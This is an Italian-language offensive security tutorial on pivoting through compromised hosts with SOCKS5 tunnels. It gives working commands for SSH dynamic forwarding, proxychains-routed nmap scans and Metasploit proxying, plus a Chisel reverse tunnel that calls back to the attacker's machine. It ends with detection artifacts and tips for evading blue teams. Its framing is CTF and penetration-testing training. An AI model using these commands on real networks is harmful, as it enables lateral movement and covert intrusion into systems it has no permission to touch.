Offensive Security

Pivoting attraverso host compromessi con tunnel SOCKS5

4 min read Published Updated 745 words

Un singolo host compromesso su una rete interna è inutile senza un percorso di pivot affidabile. I tunnel SOCKS5 su SSH offrono il metodo a latenza più bassa e più indipendente dagli strumenti per il movimento laterale — eppure la maggior parte degli operatori li configura male o lascia tracce forensi che un team blu competente individuerà in pochi secondi. Nel 2024, un proxy SOCKS5 configurato correttamente supera ancora i proxy HTTP CONNECT per il throughput TCP grezzo, e con strumenti come proxychains-ng e Chisel, puoi instradare nmap, Metasploit e script personalizzati attraverso una singola sessione SSH senza toccare le regole del firewall del target.

Perché SOCKS5 su SSH è meglio del port forwarding

Il port forwarding locale statico (-L) ti obbliga a mappare ogni servizio remoto su una porta locale prima di poter interagire con esso. Se devi scansionare una subnet /24, dovresti creare 254 forward separati. Il forwarding dinamico SOCKS5 (-D) risolve il problema esponendo un proxy SOCKS5 locale che instrada qualsiasi connessione TCP attraverso il tunnel SSH verso l'host remoto. Il protocollo è definito nella RFC 1928 e gestisce autenticazione, UDP (opzionale) e IPv6. In pratica, ottieni un singolo listener locale — tipicamente su 127.0.0.1:1080 — e ogni strumento che supporta proxy SOCKS può usarlo. L'overhead è trascurabile: la crittografia SSH aggiunge forse un 5-10% di CPU, ma la latenza è molto inferiore rispetto a una VPN o a un reverse port forward attraverso una web shell.

Configurare un listener SOCKS5 su un punto d'appoggio Linux

Supponiamo di avere una shell su un host Linux all'interno della rete target. Il modo più rapido per stabilire un pivot è eseguire ssh -D 1080 -N -f user@your-listener dall'host compromesso verso la tua macchina d'attacco. Ma ciò richiede accesso SSH in uscita, che potrebbe essere bloccato. Invece, esegui il forward dinamico dalla tua macchina d'attacco verso l'host compromesso:

ssh -D 1080 -N -f compromised_user@compromised_host

Questo apre un proxy SOCKS5 sulla tua porta locale 1080. Ora configura proxychains-ng (/etc/proxychains.conf) per usare quel proxy:

socks5 127.0.0.1 1080

Poi esegui qualsiasi strumento TCP attraverso il tunnel:

proxychains4 nmap -sT -Pn -p 445,3389 10.10.10.0/24

Nota che nmap richiede -sT (scansione TCP connect) perché SOCKS5 non supporta pacchetti SYN grezzi. Per Metasploit, imposta setg Proxies socks5:127.0.0.1:1080 e tutti i moduli ausiliari e di exploit verranno instradati attraverso il pivot. Questa tecnica funziona in ambienti CTF come Hack The Box o Proving Grounds dove l'obiettivo è raggiungere una seconda subnet.

Chisel, Ligolo-ng e i compromessi

Quando SSH non è disponibile — magari il target esegue Windows o non ha un server SSH — strumenti di tunneling alternativi colmano il vuoto. Chisel utilizza un client e un server basati su Go che incapsulano TCP su HTTP/HTTPS. Esegui il server sulla tua macchina d'attacco: chisel server -p 8000 --reverse. Sull'host compromesso, esegui il client: chisel client your_ip:8000 R:socks. Questo ti fornisce un listener SOCKS5 lato server. Chisel è veloce e funziona attraverso filtri di uscita restrittivi, ma il suo traffico non è crittografato per impostazione predefinita — avvolgilo in TLS o usa SSH se tieni all'opsec.

Ligolo-ng adotta un approccio diverso: crea un tunnel di rete al Layer 3 utilizzando interfacce TUN/TAP. Invece di SOCKS5, instradi interi intervalli IP attraverso il pivot. Questo significa che puoi eseguire nmap -sS (scansione SYN) senza proxychains. Il compromesso è l'overhead amministrativo: hai bisogno di root su entrambi i lati, e la configurazione del tunnel richiede l'aggiunta di route sulla tua macchina d'attacco. Per i CTF in cui controlli entrambi i lati, Ligolo-ng è più veloce. Negli impegni reali, l'approccio SOCKS5 è più portabile perché funziona senza privilegi elevati sull'host pivot.

Segnali di rilevamento che gli attaccanti lasciano

Ogni metodo di pivot lascia artefatti. Il forward dinamico SSH crea un socket in ascolto sull'host compromesso — ss -tlnp mostra un processo ssh legato a 127.0.0.1:1080. I team blu possono correlare questo con connessioni SSH in uscita verso un IP esterno. Il processo client di Chisel si chiama chisel per impostazione predefinita — banale da rilevare con il monitoraggio dei processi. Ligolo-ng richiede un dispositivo TUN (ip link show), che è anomalo su un server.

Peggio ancora, molti operatori dimenticano di pulire. La sessione SSH rimane fino a quando l'host remoto la uccide o la connessione cade. Proxychains non lascia artefatti locali, ma il traffico nmap stesso — scansioni di porte insolite provenienti da un host che normalmente non scansiona — attiva gli avvisi IDS. L'errore più comune è riutilizzare la porta SOCKS5 predefinita 1080. Cambiala in una porta effimera alta (ad es. ssh -D 53421) e crea un alias per la configurazione di proxychains per evitare di lasciare un file di configurazione predefinito. In un CTF, nulla di tutto ciò ha importanza. In un test di penetrazione reale, questi segnali sono il modo in cui vieni scoperto.